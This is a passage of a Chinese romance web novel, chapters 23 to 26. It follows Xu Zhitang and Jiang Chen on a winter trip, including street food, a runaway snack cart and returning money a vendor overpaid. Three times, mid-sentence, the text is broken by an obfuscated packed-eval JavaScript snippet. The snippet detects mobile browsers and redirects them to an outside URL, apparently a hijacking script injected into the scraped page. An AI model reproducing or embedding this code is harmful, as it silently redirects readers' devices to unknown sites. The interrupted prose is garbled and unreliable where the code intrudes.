他向来对这种网红打卡点敬谢不敏。但有人想法跟他截然相反。 “那我们一定要去尝尝了!”许知棠准备打开相机,冻得手指头都僵了,动作有点艰难,“到底有多好吃啊。难道配方里藏着我变回小猫咪的秘密?你喜欢吃卤煮吗,人?” 蒋谌生无可恋地叹气,“我喜欢在酒店待着。” 到底是谁会在这种寒风刺骨的天气里到处跑着玩啊。 就在温暖的房间里待着好好休息不行吗。 “啧,不许扫兴。”她举着相机,腾不出手来敲打蒋谌,只能口头催促,“快点快点,车来了。” 两个人都低估了北方的寒意,出门时没把最厚的外套裹在身上。到了酒店,她立马就从行李包里翻出羽绒服,对着镜子整理领子上的毛毛。 她对蒋谌把浪漫民宿换成又贵又毫无情调的标间有些不满,但勉强拍个ootd也是可以的。 放好东西穿上羽绒服,她很快又出门去找蒋谌,站在他房间外敲了好几下,没人理。 联想到他下飞机时的逃兵发言,许知棠顿生不详的预感。 该不会是真的想让她自己出去玩,他要躲在酒店里享清净吧。 许知棠不允许这种事情发生,门口一蹲就开始了微信骚扰。 【[心碎][心碎][枯萎][枯萎]】 【开门开门我知道你在你开门啊!】 【在吗,还爱吗】 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690444|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,咪的世界一直在下雨,咪处理不好】 【[下雨][下雨][流泪][流泪]】 就十分钟没看手机。蒋谌遭到微信轰炸,一看消息栏浮着的是她,内容都不用点开。直接去打开了房门,没好气道,“进。” 他头发湿着,只来得及套了件毛衣,身上还冒着热气。许知棠错怪他了,进来讪讪地笑,“你一来就洗澡啊?” “冲一下暖和。”蒋谌拿起手机,“发的什么东西?” “不用看了!给我来帮你删掉,免得恶心到你。” “……” 蒋谌一嗤,玩味地看她,“咪的世界一直在下雨?” “啊,哈哈。是咪的嘴巴一直在下雨。”她一脸麻木。“咪饿的时候就是会胡言乱语。” 酒店毗邻十字路口,过马路就是商业街。走出大堂不远,便利店门口有一个卖驴打滚的小摊,是个上了年纪的婆婆在卖。 “有糯米糍诶。”南北方叫法不一样,许知棠向来喜欢这种软糯有嚼劲的东西,见了就要吃点弹弹牙,“婆婆,要五块钱的。”去找网红卤煮店的路上,正好给她当零食垫垫肚子。 她本来没有多高的期望,聊胜于无而已。没想到车上就着塑料袋子咬了一口,惊为天人。 淡淡的豆香不涩不腻,是非常质朴的谷物香气,糯米皮软糯得恰到好处,中间的豆沙馅也不齁,熬得细腻绵密,舌尖一抿就融化。口感丰富绝了。 她只舍得揪一小块给蒋谌尝。出租车才刚起步,两个人就把它分完了,意犹未尽。 楼下居然有家这么好吃的糯米糍,许知棠瞬间就原谅了没情调的商务酒店,“等我们晚上回来再买!明天回家我也要打包点带走。” 是挺好吃的。蒋谌听她对着相机美言,觉得也并不夸张。 这一次没有爱管闲事的司机再叫他当捧哏了。下车时许知棠深呼吸一口空气,大概是穿得更厚实了,这会儿也不再觉得冻脸,空气吸进肺里,身体说不出的清爽通透。 遗憾的是,今日卤煮店并未营业。 “没关系,遗憾是人生的常态。旅行的趣味就在于不确定性。”来都来了。她高低要念几句心灵鸡汤,再拍几张照片。 蒋谌帮她拍了几张,她都挺满意。视角一转,“我给你也拍一张吧。” “没这个必要。”他又婉拒了。 “诶来都来了拍一张!你别动。” 蒋谌躲闪不及,也没能做上表情管理,就还是平时的样子,冷酷地盯着镜头。只是蓬松的发尾有点被风吹起来,又让暖调的阳光给描了个边,到底是显得人温柔了许多。 “黑色冲锋衣是男人最好的医美!”许知棠用两个胳肢窝夹着相机和手机,鹌鹑似的举起两个大拇指。抓拍完还没忘记配合情绪价值,双倍点赞,“帅到腿软。” 卖卤煮的店在个小院里面。院外靠墙摆了一排植物,每盆都不一样,也没人照看,就自顾自的在墙根底下晒太阳,自顾自生长。 许知棠在这里第一次见到风铃辣椒。长得很高的一盆,叶子都掉光了,圆圆扁扁的小红辣椒还挂在上面,蹲下来看跟铃兰花的形状很像。 她惊奇地拍了几张照片,又把相机给蒋谌,要求跟一盆辣椒合影。 “……” 这样的人你拿她怎么办。蒋谌想,就是很难对她生气啊,能怎么办。 他也蹲下来,找到最佳光线,把这张照片拍好。尽量让眼睛看到的有多漂亮,照片就有多漂亮。 不知是否有瓦砾在前,给他做了对比。许知棠对他的拍照技术很满意,美滋滋地夸赞,“很好啊!有这个技术,可以批准你谈恋爱了。” 谈恋爱是很难的事吗? 或许有的人是很难谈。 但连跟一盆辣椒合照都会很开心的许知棠——蒋谌不明白,怎么会有人跟她谈都谈不好。 简直是搞砸了命运的奖励。 24. 第 24 章 因为没能吃到网红店的卤煮,许知棠整个下午都有些念念不忘。去别的小景点打卡时心里还惦记着,就没有一开始那么兴奋了。 “去别的店吃不行么?”蒋谌当然看得出来,只是不太理解,“非要吃那一家?” “唉。” 许知棠又要开始忧郁了,“也不是非得要吃到。就是想起以前,每次我去吃这些东西,小何医生都会把眉毛皱起来,那个表情真的特别好笑。” “他从来不吃内脏,怎么做都不行,连卤鸭脖都不爱吃,涮火锅都不碰毛肚的!总嫌有股怪味。但是他还会陪我一起去店里,坐在旁边一边叹气一边看着我吃。然后整个晚上都不准我亲他。” 她怀念道,“我可喜欢逗他了,一定要亲。他越躲,我就在后面追得越起劲。” “……” 蒋谌闭着眼听完,心情用一句话就可以概括。 真后悔多嘴问她。 “你怎么不说话呀。”她还问呢,“在想什么?” 蒋谌说,“在想下次在听你感怀前男友之前,应该先问你要一笔精神损失费。” 许知棠撇嘴,“现在是这样说。等你以后谈了恋爱,说不定还不如我呢。这个世界上就没有人谈恋爱的时候不做傻事。” 蒋谌不敢苟同,“不谈恋爱的时候你也没少做。” 更何况,他认为是什么样的人,才会谈什么样的恋爱。而他显然跟许知棠不是一类人,因为不能容许失去对事物的掌控感,也就不可能放任自己在爱的热忱中沉沦。 就像十七岁那年,他无疾而终的初恋,也是经由他自己考量之后主动放弃的。 为了让自己濒临失控的人生重回正轨。 他做得到,事实也证明了。他其实并没有多喜欢许知棠。或许也压根就没有爱人的能力。 所以对他而言,踏实挣钱早点退休才是正经事。他不谈恋爱对双方都有好处。 “我们去吃串串香吧,前面有个小吃车诶。”许知棠扯了一下围巾,蒙住半张脸。傍晚气温还在往下掉,“这个天气必须吃点热乎的。” 车被改装过,还围了挡风布,坐在后车厢里很暖和。不锈钢锅被分成一格一格,分成辣和不辣的两排,大把大把的串串在喷香的底汤里沸腾,根据荤素穿进不同粗细的竹签。 除了码放食材的操作台,车里就只围绕着锅放了一圈塑料凳子。朴实简陋到一看就知道会很好吃。 这种不干不净的路边摊最吸引人了。车里食客众多,只剩两个空位。她拉上蒋谌就往里钻,红油蘸着麻酱,竹签很快攒了一把,吃到微微冒汗。 再来一口冰汽水再舒爽不过。于是两个人猜拳决定谁下车去买可乐。 “三局两胜。”她痛快地出拳,然后迅速输掉两局。再然后更迅速地改口,“五局三胜!” “五十局也没用,愿赌服输。”蒋谌不给翻身的机会,“去买。” 许知棠骂他小气,不情不愿地跳下了车。还好便利店离得不远,她付了钱,用围巾裹着两罐结冰带霜的可乐,刚走出店门,就听见一声哨响。 “城管来了,城管来了!” 她还没意识到会发生什么,又不紧不慢地走了两步,忽然看见小吃车的老板往前一钻,车把一拧,熟练地启动。起步速度快到出乎意料,没有一点防备地离她远去。 “……”可是蒋谌还在车上! 串串香把蒋谌开走了! 蒋谌也没想到会有这变故,坐在车上跟她对视,一只手还拿着竹签,表情茫然。 此时叫他跳车也已经来不及了。许知棠环顾四周,随机应变地扫了辆共享单车,骑上去目光坚毅,“我来救你!!” “……” 平平无奇的小吃车忽然增加了城市观光功能。车厢里卧槽和笑声此起彼伏,大家都在享受突如其来的新奇体验。蒋谌也从意外变成了看热闹的兴致盎然。 冷风萧瑟的傍晚,街道上路灯一盏盏点亮。单薄瘦弱的女孩为了抢回伙伴,紧跟在一辆邪恶的小吃车之后穷追不舍。 许知棠已经陷入中二幻想无法自拔,发丝和围巾缠绕着在风中飞舞,踩着单车狂追,“坚持住!我来了我来了我来了!” 蒋谌忍笑看了她几秒,忽然从她放在旁边的包里,拿出相机。 “干什么?”许知棠镜头敏锐度一瞬间到拉满,百忙之中腾出一只手来挡脸,“啊啊啊不许拍!不许拍!!蒋!谌!” 怎么会有这么恩将仇报的人。在她奋不顾身迎头直追的关键时刻,居然还要拍她丑照?! 许知棠猛踩单车的动力已然转变,“你完蛋了!有本事别下车!” 蒋谌不仅拍了照,他还录像。举着相机的手臂连同肩膀都在颤抖,最后终于忍不住朗声大笑。 许知棠不知道他怎么有脸笑的,但是笑声被风送到耳边,她也很难不跟着咧开嘴角,自暴自弃地放开了挡脸的手,又笑又骂,“你真的烦死了!!” 很烦,但是她又觉得很好玩。 从海市见面的第一天算起,蒋谌还是第一次在她面前笑得这么开心。 车上有那么多人,唯独他笑得那么耀眼,明晃晃的,把别人都衬成背景板。许知棠虚荣心发作,莫名感觉很有面子。 如果她现在手上有一部相机,一定也会帮朋友记录珍贵的人生画面。 许知棠跟着猛追了几公里,小吃车终于在某个陌生小区的门口停了下来。 她还了单车,第一件事就是去夺相机,要赶紧销毁丑照。可没想到的是,蒋谌把她抓拍得也挺好看。 视频的效果更佳,她伏低身体用力地踩着踏板,表情或焦急或嗔怒,或不在乎地迎风大笑,眼睛被路灯映得很亮,每一秒都充满追逐自由的生命力。 意料之外的完美素材,许知棠决定加到vlog里。说不定还会成为点睛之笔呢,她已经看到弹幕评论在飞了。 蒋谌此时才不慌不忙,自我标榜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16714623|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我是那种故意拍朋友丑照的人吗?” “差点错怪了爱卿。”她变脸一向很快,转头就从车篮里掏出冰可乐,喜笑颜开,“赏赐之!” 小吃车把他们带到了计划之外的街区。许知棠看到附近灯火通明,车水马龙,一副欣欣向荣的图景,像是当地人流量很高的步行街。 秉承着不白来的原则,她当然还是要逛一会儿再回酒店。不逛不知道,这一带颇有些趣味小店。蒋谌百八十年没陪人逛过街,边走边看竟也觉得有意思。 许知棠在一家手作店里停留很久。这家店的卖点是用叶子和各种果实种子做成的饰品,有些还是中药材。和水晶玛瑙绿松石编织在一起。每一颗都是精心挑选,上面没有任何斑点或虫蛀的痕迹,被打磨得光滑饱满,看得出制作用心。 设计创意也很独到。项链,手串和耳环的款式应有尽有,她给陶悦挑选了几件,看到一条可爱的橡果项链想到方芷,也美美拿下,轮到自己时却犯了难。 “这件很好看,”她对着镜子比划,对一只血藤片加小南瓜的耳坠爱不释手,“这件也很好看!但是我都没有能搭配的衣服。” 蒋谌说,“买新的衣服不就行了。” 他被一串莹白的猫爪菩提吸引,翻过来看背面还用火枪烤上了焦糖色,很像是小猫的爪垫。 “哦!这串也很可爱。”许知棠注意到,试都没试就拿着他的手直接丢进小购物篮里。反正都是几十块钱的小玩意,买回去戴着玩。 但她自己最中意的耳环,背板上却只挂了一只。老板帮忙在店里找了半天都没有找到,抱歉地表示,可能是落在手工室了,打包时没有带过来。 “不如这样,你们明天晚上再来好吗?今天去找肯定来不及了。” “可是我们明天下午的飞机回家。”许知棠不舍道。 “那就……给我留个地址,等我找以后给你寄过去?如果你很想要的话。”店主姐姐说,“你们选了这么多,一起算打个九折好了,怎么样?” 许知棠喜欢这种有人情味的处理方式。而且她觉得只戴一边其实也很好看,于是欣然接受了这个解决方案。 回酒店的路上,她称赞这个店主姐姐热心又温柔。 蒋谌却认为这是种促销手段。或许人家本来就做了一只,却按照一对的价格卖给了她。看似打了折,其实也并没有占到便宜。 就算真的是遗落在别处,回头找到了那只耳环,留着卖给下一个冤大头不是更划算?相隔千里,又没有人会为了一只耳环专门跑来讨债。 “那我们打个赌呗。反正我觉得她肯定会寄给我。”许知棠兴致勃勃道,“输的人要给赢的人实现一个愿望!” “一样东西吧。”蒋谌修改赌约。虽然他不认为自己会输,但愿望的范围也太空泛了,谁知道她会说出什么,“难道让我去天上给你摘星星,我也得去?” 许知棠却眼睛一亮,狡黠地点点头,“好!那我就要星星。” 25. 第 25 章 “……”蒋谌无意给她提供这种诡谲的思路,“神经。换一个。” “换什么嘛,一时半会儿想不到。”她忽地想起此行目的,反问,“那你呢?” 本来就是为了帮他找到愿望,实现愿望才会有这次远行。许知棠握拳,举到他面前,假装采访,“请问蒋先生有什么愿望急需实现?” 蒋谌严肃回应:“本人目前急需进入有暖气的房间。” 北方的冬夜来得太早,温度也降得太快。这小县城里出租车本来就少,好不容易打到一辆车里旧旧的,车窗关上了还有点漏风。 许知棠依偎在羽绒服温暖的大毛领里,看他把冲锋衣的拉链拉到最高。第一次见有人帅得这么命苦,心生怜爱。 等她发了工资,要给蒋谌买件厚衣服。 时间太早,她还没有玩尽兴,但秉着良心怕蒋谌冻坏,还是熄了留在外面继续乱逛的心思,“这个愿望不算,我们本来就要回酒店了。你也换一个。” 蒋谌稍加思索,“待会儿买糯米糍我要先吃。别总拿你吃剩的塞给我。” “哪里是吃剩的?我不是单独给你揪了一坨么。” “也不要用坨来形容吃的。” 干嘛计较这种细节。许知棠大度地点点头,“好吧,我知道啦。” 回到酒店时卖驴打滚的婆婆刚好要收摊。她赶紧跑过去,把剩下的一点包圆,还特意拿了两个袋子分开装。 小时候没有注意过,原来蒋谌也喜欢吃这种糯叽叽的东西。她递给蒋谌一半,触景生情的话从嘴边溜出来,“小何医生也喜欢吃这个。不过他每次都不准我多吃,特别是晚上,对消化不好。” “……” 蒋谌食欲莫名蒸发,把手里这坨还给她,“恭喜你零食自由。” 刚刚还说要先吃呢,买完他又不要了。许知棠觉得他像个善变的小孩,但依然大度地点头,“好吧,我来解决。” 天干物燥,房间里暖气又足,她洗漱完出来护肤,在桌上摆了一堆,敷着面膜把玩在小店里买的小首饰物。 随手买的那串猫抓菩提珠可爱是可爱,但圈口太大了,她戴在腕上十分松垮,能直接滑到胳膊肘。 正好要拿面霜给蒋谌用。她护肤完毕就一起拿了过去,送给他玩。 “我要这个干什么。”虽然他这么说。但许知棠把手串扔到他床上,他也没制止。 “给你用。”她打开面霜盖子,动作迷之虔诚。蒋谌没管那么多,一根手指挖走五分之一,心疼得她吱哇乱叫,“轻点啊啊啊这个很贵的!” “……” 蒋谌嫌她抠门,大刀阔斧地往脸上擦,“回去买罐新的赔你。” “那你也用不了这么多啊,真浪费。” 她又蹭回来一点,给自己涂涂脖子,再把手背上的也抹匀,督促皮肤把每一滴营养都吸收干净,“我这可是今年过生日收到的礼物,没舍得用呢,到了冬天才拿出来。” “他工资也没多高……自己平时都过得很节俭。唉,只有给我买东西才会这么奢侈。” 又是他,他他他。蒋谌听得耳朵都要起茧子了,凉飕飕道,“这么感人。干脆回去找你前男友,让他再攒两年工资继续给你买。” “……” 许知棠有些不满,“他只是物欲不高,没有那么穷的好不好,你讲话干嘛这么刻薄。” “而且做医生是越老越吃香,资历都是熬出来的。他本来也没那么看重钱,物质条件只要能维持正常生活水平的开销就可以了啊,实现理想更重要。” 她说,“我们两个小时候也约定过一起学医的,可是到了现在,只有他不怕苦不怕累地坚持下来了。他是打算为医学奉献终身的人,难道不是很值得敬佩吗?” 蒋谌心想这话一点逻辑都没有,他跟她约定关别人什么事。 更何况做护士做律师,做哪个行业不苦不累,只有做医生才累得最崇高,最值得敬佩?说这些,明摆着心都偏到老家去了。 许知棠说完,原本以为蒋谌能理解的。可是他并没有理解她一点,反而刻薄更甚,“是,我就没有理想,眼里只有钱。下次买东西问问柜台能不能用理想支付。” “……”她皱起眉,有些失落地垂眼,旋上盖子捧着面霜走了,“不跟你说了。” 这副不想起争执的态度,反而惹得蒋谌郁结。 许知棠离开房间。他拎起被子上的手串丢到枕边,躺在床上拿手机查了一下。他记得面霜罐子上那串字母,查到品牌店的价格,冷笑。 还以为有多贵。 他买了两套寄回家里,心想许知棠未免也太好收买了。这么点东西就能让她感动,分手了还一个劲儿替人家说话,表现得像是脑残小说里会对人大喊“我不要什么臭钱我就要跟他在一起”的蠢货。 既然这么念念不忘,还分什么手?变什么猫?回老家去结婚生孩子当一辈子娇妻得了。省得天天在他耳边念叨,听得人心烦。 连出来玩,一天到晚都是这个死出。好像见到什么都能想起那个“他”。 再加上她走的时候带着那个“算了没谈过恋爱的人是不会理解的”表情……回到房间继续emo到半夜听着伤心情歌默默垂泪简直就是标配。 蒋谌怒其不争的心情已经到达巅峰,再想想那凄凄惨惨戚戚的画面,甚至感觉受到了挑衅。 他躺了半天,理智和情绪不断打架,平息,再打架。最后可能是实在闲得发慌,从相册里翻出一张旧照片,发给了许知棠。 【???】 【你已经在我的暗杀名单上了!】 好好的躺着在玩手机,蒋谌发给她一张黑历史照。 许知棠不可思议地放大照片。屏幕上她那张幼稚的脸因为哭泣而涨得通红,脑袋上发茬和两天没刮的胡茬一样短。 她小学看仙侠剧,被里面演员的扮相迷住,一心想当仙女,玩水晶泥的时候就给自己搓出一条一条的珠帘戴在头顶臭美,然后毫无疑问地拿不下来。 蒋谌帮她捋了半天都没弄干净,最终也只得被大人抓去理发店里剃成板寸。这张黑照是她那没心没肺的爸爸抓拍的,原片在他手机里,早就被她销毁了。蒋谌居然还有。 丑死了。完全就是在挑事。 其实她一个人回到房间里,并没有多么难过。又或者说自从觉醒真实身份后,她的难过都持续不了太久,就会遭到阻断。 她曾经看过网上一名癌症女生的分享,说以前的人生活得按部就班,上学毕业工作,每一天都是规矩又麻木。自从确诊了癌症,反而整个人都放松了,卖掉房子辞去工作,到处旅行。 在人生被宣判死刑之时,才真正自由自在地活了一回。 最近她觉得自己时常也有类似的心情。 反正就要变成小猫咪了,一切都不要紧。她总是会这样想。 虽然但是,发小猫咪的黑照也是十分险恶的行为。 许知棠从小程序里找出五子棋游戏,开始了战争。 她就爱傻傻较劲,把小程序里的双人对战游戏都找出来,几乎全跟蒋谌玩了一遍,终于有一个扔飞镖的小游戏是蒋谌玩不过她的。 于是后半夜蒋谌就一直在跟她扔飞镖。每次困得眯起眼睛快要睡着,新的一局游戏邀请就又发了过来,“……” 这对吗。 直把蒋谌熬到睡着,她终于也把这晚游戏的总胜率扳平,心满意足地关上了手机。 她收集的南杞县旅游攻略里还有两家小店没有打卡,因此提前定了闹钟。隔天早上独自起床,跑去体验完拍了照录了视频,再回酒店,刚好中午。 蒋谌一觉睡醒,问她有没有起床。 她骄傲地把上午拍的素材发了几张过去,展示成果。 【……】 【你一个人去?】 “对啊,等你睡醒了我们一起吃个午饭,然后差不多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734307|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就可以坐大巴去机场了。”她知道蒋谌平时工作强度高,只要有休息日一定会睡懒觉。所以没有叫他,把行程安排得特别合理。 事实也和她安排的一样,两个人各自都度过了美好的半天。她站在缓缓上升电梯里给蒋谌发语音,“时间刚刚好!我在电梯里,你现在起床吧,我已经找好要吃的餐馆了。” 餐馆也是热心网友推荐的铁锅炖。酱汁浓醇油亮,排骨炖得软烂脱骨,豆角和蘑菇也吸饱了汤汁,配着金黄焦脆的玉米锅贴一起吃简直不要太爽,老板还额外送了一份酱骨。吃得人身心熨帖,十分舒畅。 蒋谌也说很好吃。但不知道为什么,他看上去没有太高兴。 回酒店退了房,她最后又买了二十块钱的驴打滚带上,打车去站点,等待半小时一趟的机场大巴。 坐上大巴车,这趟旅行就算是结束了。她望着道路两旁高大笔直的杨树和侧柏,半是惆怅半是欣慰,“我们好像没有找到线索……不过吃了不少好吃的,还拍到了好素材。” 只当作普通的旅行看待,算是有收获。 蒋谌没有说话。她探头看了看,一团大毛领压过来,“你在想什么呢。” “……”他扯着嘴角,没说实话,“明天又要上班,有点心烦。” “唉,也是。” 她打工多年,目测变回猫之前还是要一直打工,很能共情。掏出蓝牙耳机,递给他一只,“给你听我的kpop歌单,注入能量。” 蒋谌说,“不爱听。” 冷冰冰。 许知棠想他明天一早就要上班,没跟他计较,戴上耳机听着舞曲,刷新了一下论坛帖子,没有更新。 倒是跟帖的回复又多了几十层。大家分析江琛的性格特点,和小咪互动时的内心活动,把他定义成一个表面高冷淡定,其实内心早已被萌化的人类。还说他在和小咪的旅行中,会进一步加深了解,并表现得更加温柔愉悦。 有吗?许知棠偷瞄一眼身边的人。已经抢先体验版本,怎么觉得他玩得并不是很愉快。 还有人上传网络男神的图片,猜测并试图还原他的长相。许知棠把图片比照真人看了看,没有一张像蒋谌。这个世界的人类对真相的洞察力还是有些缺乏。 她胡思乱想了一会儿,开始犯困了。 仗着易瘦体质中午炫了许多碳水,血糖升高,她迷糊中想反正蒋谌在身边,就放心地靠着车窗补觉。 蒋谌双手环胸,也在犯困。余光扫过来,又坐起身,从背包里找出颈枕,不言不语地调整好,托住她的下巴。 两个人都打了盹,倒是没有坐过站,快到机场时就先后醒来。许知棠一边打呵欠,一边检查行李背包,看到随手塞进来的零钱,忽然一愣。 下午临走时买吃的,婆婆把钱找给她,她没细看就直接塞进了包里。这会儿才发现里面夹着点红色,连忙拿出来看。一卷一块五块的钱币里赫然粘着一张折叠过的百元新钞,被压得非常薄。 “怎么多给我一百块。”许知棠一愣,立刻急了,“肯定是不小心夹在里面的,我得回去……司机师傅麻烦停一下车!” 她一下把蒋谌喊清醒了,还没来得及说话,司机就从前面喊了回来,“这都快到地方了,现在下去可打不着车!” 许知棠拎起包:“没事的您靠边停一下就行了!我东西落了必须回去一趟!” 蒋谌简直不敢相信,她为了一百块钱要这么折腾,“你现在下车?再跑个来回一定赶不上飞机了。” “我知道啊,待会儿改签机票就行。” 大巴车在减速。她说着就站起身,一只手却被蒋谌抓住,往回带了一下,厉声道,“这里荒郊野岭怎么下车?先去机场。又没人会在意这么点钱,耽误时间。” “谁说的?她在那里卖一整天才挣多少啊。”许知棠挣开他,正着急还被阻拦,有点恼火,“哎别管我了!你赶时间就先走,我明天又没有工作。” 26. 第 26 章 原本满车都在昏昏欲睡。听到动静,前排乘客都回头看她。 许知棠不为所动,倒是把旅行包给他撇下了,“行李你先帮我带回去吧,谢啦。” “……” 车门打开了。她也怕耽误事引得司机和其他乘客不满,没工夫再多说,立刻就往外冲。 她不太担心怎么回家的问题,但担心赶不上婆婆收摊,再等到明天就有点麻烦了。她下车立刻往回走,一边走一边拿手机查找路线,这附近确实是打不到车。 机场大巴的折叠门在她身后关上,缓缓加速,朝着原定方向驶去。 从这里步行三公里才能到达最近的站点,搭上返程的大巴。这条路前不着村后不着店,天又冷,她自己也不想多待。脚步快些,半小时以内应该能走到。 许知棠深呼吸,把手机往兜里一揣就又要冲了。可起跑没成功,她头皮先感到一阵阻力,脖子仰了一下,后知后觉丸子头被攥住。 她愕然回头,才发觉蒋谌站在身后,肩上撂着两个人的包,脸色很差,无语又恼火。 许知棠把眼睛睁圆,看起来比他还莫名其妙,“你干嘛下车?” “……” 蒋谌觉得但凡通人性的生物都不该会问出这种话,“我能把你扔在这一千多公里外的荒山野岭里自己回家?!许知棠,你一天天脑子里在想什么?” “……可你不是说,明天会议很重要不能迟到么。” 又不是小孩子了,明明分开行动效率更高。许知棠摸着被扯松的头发,索性解开发圈捋顺,小声嘀咕,“万一今晚没有直飞的航班了怎么办呢。耽误工作可别怪我啊,不是我让你留下的。” 又不通人性又没有良心。 蒋谌也不知道今晚还能不能回到海市。哪有确认的时间?再晚一秒钟下车都撵不上她的脚步。根本没给人商量的余地。 独断得都不像她。 “不用这么急着推卸责任,干不成这单我也活得下去。”蒋谌把包丢给她,又训人,显得很不耐烦,“我说过不陪你留下么,你问没问我一句?说走就走什么破脾气!” “……对不起嘛!”她道歉道得倒是硬气,还小声嘀咕,“凶什么凶。” 没有半点真心诚意,听的人也要冒鬼火,“这么不服气就别说什么对不起,哄傻子呢?” “那我说什么?道歉你也不高兴,不说你也不高兴!都让你别管了你还非要来。” 她攥着包,眼泪说掉就掉,“我就知道,反正都会变成我的错!” “……怎么才说两句就要哭?”蒋谌一愣,看到眼泪没辙了,语气强硬地掐着她的脸蛋命令,“不许哭。” 许知棠狠狠甩头,想叫他滚,然而嗓子黏了一下。于是发出了惊天动地的一声,“呱!” 蒋谌:“……” 许知棠:“……” 刹那间的寂静把气氛变得很诡异。 许知棠凝着脸,不言不语地扭头就走。 蒋谌也不太敢笑,跟着她走了一段,看她还没有说话的意思,“就不理我了?” “不想跟你讲话。” 她本来是不想的,但无奈心地十分善良,还是恶狠狠地提醒,“你跟我走到前一站,待会儿等着坐下一趟机场方向的大巴,还能赶上飞机。” “我说要自己回去了?” “你到底干嘛非要跟着我!” 许知棠不明白,还个钱而已,又不是必须两个人才能完成。 “酒店是我订的,订单在我手机上。去酒店的出租车也是我打的。”他这时才不紧不慢道,“你确定一个人能找得到地方么。” “……” 许知棠一时语塞。 她不是那种谋定而后动的聪明人,心里一有主意就要马上做,快快地做。看在成熟的人眼里,往往就是冒失鲁莽,不计后果。 “那你可以把地址发给我。”她嘴硬道,“不用跟着跑一趟,没必要。” 听起来像是一定要甩开他似的。蒋谌都有点好奇了,“你到底回去干什么,非不让我跟着。真的只是回去还钱么?” “不然呢?这么冷的天跑来跑去,我有病啊。”许知棠没好气道,“那你干嘛非要跟着我,难道我还是找不到路的小孩啊?” “我们一起来的,”蒋谌说,“当然要一起走了。” 这是再简单不过的逻辑,他都不知道许知棠为什么一直问。 许知棠听到他的话,没回头,但也没再像刚才一样哐哐走,步伐明显慢了许多。他就抬脚跟上去并肩走,歪着头看了一下。没再哭了。 “那今天还能回去吗?”她盯着脚下问。 “午夜还有航班,我刚已经改签了。”蒋谌说。 “那你,不觉得浪费时间吗?”她又问。 还替他可惜上了。蒋谌莫名想笑,又看她,“对别人的时间占有欲别太强了行吗。” 她没再说什么,不知道想到哪里,表情甚至有些失神。 蒋谌想她可能是自己也有点难为情。 “机票钱我还是给你吧。”她说。 “不用了,”他一本正经地算账,“回家以后再给我用一坨面霜,差不多能平。” “……” 许知棠终于没忍住,也偷偷笑了,又有点伤感地说,“你是不是也觉得我特别蠢啊。” 做这种吃力不讨好的事。为了还一百块钱要再赔进去千把块的改签费,换谁来都会觉得她脑袋有点问题。 但她的人生宗旨就是不做让自己不安心的事。否则现在一时躲懒,以后每次回想起来都要再受一次折磨。“还不如现在麻烦一点,辛苦一点,起码心里坦荡,从此以后再也不用记挂。” 蒋谌只是很讨厌做无用功,不理解价值明显不对等的行为。但要是说跑这一趟能换回她的安心,他倒是就觉得很划算了。 许知棠还不知道蒋谌已经理解了她,沉浸在淡淡的伤感情绪里。又想到还好不会耽误他工作,悄然松一口气。 冬天的夜色总是来得格外早。两个人坐上回程的大巴,摸黑辗转到了酒店门口。卖驴打滚的小车果然已经不见了。 许知棠心里有这个准备,还是在周围四处找了找。实在没找到人,只好去跟酒店前台说了一下情况,把那崭新的一百块纸钞留下,请她代为转交。 “我知道,那个婆婆经常在这里摆摊。”前台小姐热情大方道,“放心吧妹妹,只要她再来,我肯定替你交给她。” 许知棠道了谢,虽然没能亲手交还,总算也是了却心事。 离改签之后的航班还有好几个小时。他们在快餐店吃了顿简单的晚饭,许知棠忽然宣布,“我想染个头发。” “……”蒋谌怕说不行她当场又哭,提出异议的口吻变得谨慎,“会不会太突然了点。” 他听公司女同事说过,做头发一般都要好几个小时。 而且在他印象里,女孩对头发都尤其看重。换发型是重大决定,不太会这么临时拿主意。 “不会耽误的。我就只染黑,随便剪一下。”许知棠道,“两个小时以内绝对搞定。” 前天半夜吃火锅通电话,经纪人也提醒了她把头发染黑,对模特工作来说会更方便有利。 多出的几个小时横竖是无处可去,蒋谌就陪着她进了理发店。 一家不起眼的小店,门口转着标志性的红白蓝三色柱。店里也没什么客人,她进来跟理发师简单说了一下,就直接开始染。半小时后洗掉,按照她的意思把发梢修剪整齐。 休假的最后一个晚上,蒋谌在千里迢迢外的异乡小店回复工作消息。明天的会议确实重要,助理律师把细节发给他确认。 再一抬眼,美容镜前转椅上的女孩已经变了副模样。 乌黑的发色衬得她眼睛更大,脸更小。长度明显变短了,发尾只垂到锁骨底下一点,但很整齐。不说话的时候,看起来是很乖很乖的一个小女孩。 “可以了。”许知棠站起来,擦了擦脸上的发茬,“我们走吧。” 这样也挺好看的。比她原来那个暹罗猫头还顺眼。 